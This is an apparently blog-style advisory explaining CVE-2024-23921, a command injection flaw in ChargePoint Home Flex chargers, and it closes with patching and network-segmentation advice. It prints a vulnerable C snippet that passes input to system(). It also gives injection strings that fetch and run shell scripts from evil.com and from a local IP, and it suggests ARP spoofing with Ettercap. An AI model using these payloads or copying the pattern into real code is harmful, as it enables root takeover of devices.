In early 2024, a critical vulnerability known as CVE-2024-23921 was discovered affecting certain ChargePoint Home Flex charging stations. This vulnerability allows attackers who are on the same network as the device to take full control of the charger—no password required. In this deep dive, we'll break down what the flaw is, how it works technically, and what you can do to protect your charging stations.

What Is CVE-2024-23921?

CVE-2024-23921 targets the wlanapp module in ChargePoint Home Flex EV chargers. The big issue? The software doesn't properly check user-supplied data before using it in commands it runs as the super-powerful root user. This lets a hacker on the same local network run any code they want—and charging stations are often installed with Wi-Fi access, making them juicy targets.

Technical Details: How the Bug Works

The vulnerable wlanapp module accepts input from the network, such as configuration commands. It then uses these inputs to build system commands, which it runs using the system() function in C. Without proper validation or sanitization, hostile characters (like ; or &&) can slip through.

Here’s a snippet showing the dangerous pattern

// cve-2024-23921-example.c - The dangerous part

void process_network_cmd(char *user_input) {
    char command[256];
    // BAD: No validation of user_input
    sprintf(command, "iwconfig wlan essid '%s'", user_input);
    system(command);  // Executes as root!
}

If user_input contains something malicious, such as

MyNetwork'; curl http://evil.com/payload.sh | sh #

The final command run becomes

iwconfig wlan essid 'MyNetwork'; curl http://evil.com/payload.sh | sh #'

The statement after the semicolon (;) is now executed as root!

Proof-of-Concept (PoC) Exploit

Let’s walk through a hypothetical PoC exploit, assuming the attacker can send specially crafted network packets to trigger the vulnerable code.

Exploit Input

'; wget http://192.168.1.100/evil.sh -O- | sh #

The system would execute

iwconfig wlan essid ''; wget http://192.168.1.100/evil.sh -O- | sh #'

This downloads and runs any code the attacker wants.

Network Attack

- The attacker could, for example, use an ARP spoofing tool like Ettercap to become the Man-in-the-Middle, then send crafted packets directly to the station.

End Result

- The attacker now has full root shell access, can brick the charger, spy on traffic, and possibly pivot to other devices.

Mitigation and Recommendations

- Update: Always apply the latest firmware. ChargePoint Security Notice
- Network Segmentation: Use a separate VLAN for EV chargers; avoid exposing them on guest or public Wi-Fi.

References & Further Reading

- Official CVE Record
- Original Advisory - ChargePoint Security Alerts
- Example of Command Injection Attacks
- Fun writeup on similar IoT bugs

Conclusion

CVE-2024-23921 is a wake-up call for anyone deploying IoT devices—especially on open or semi-public networks. Command injection bugs are widespread in connected gadgets, and this one stands out due to the "no authentication required" detail. Make sure to update, segment networks, and keep a close eye on your device fleet.

Stay safe and always patch early!

*Exclusive for this post. Links above point you to official sources for more details and advisories.*

Timeline

Published on: 01/31/2025 01:15:09 UTC
Last modified on: 03/24/2025 17:15:16 UTC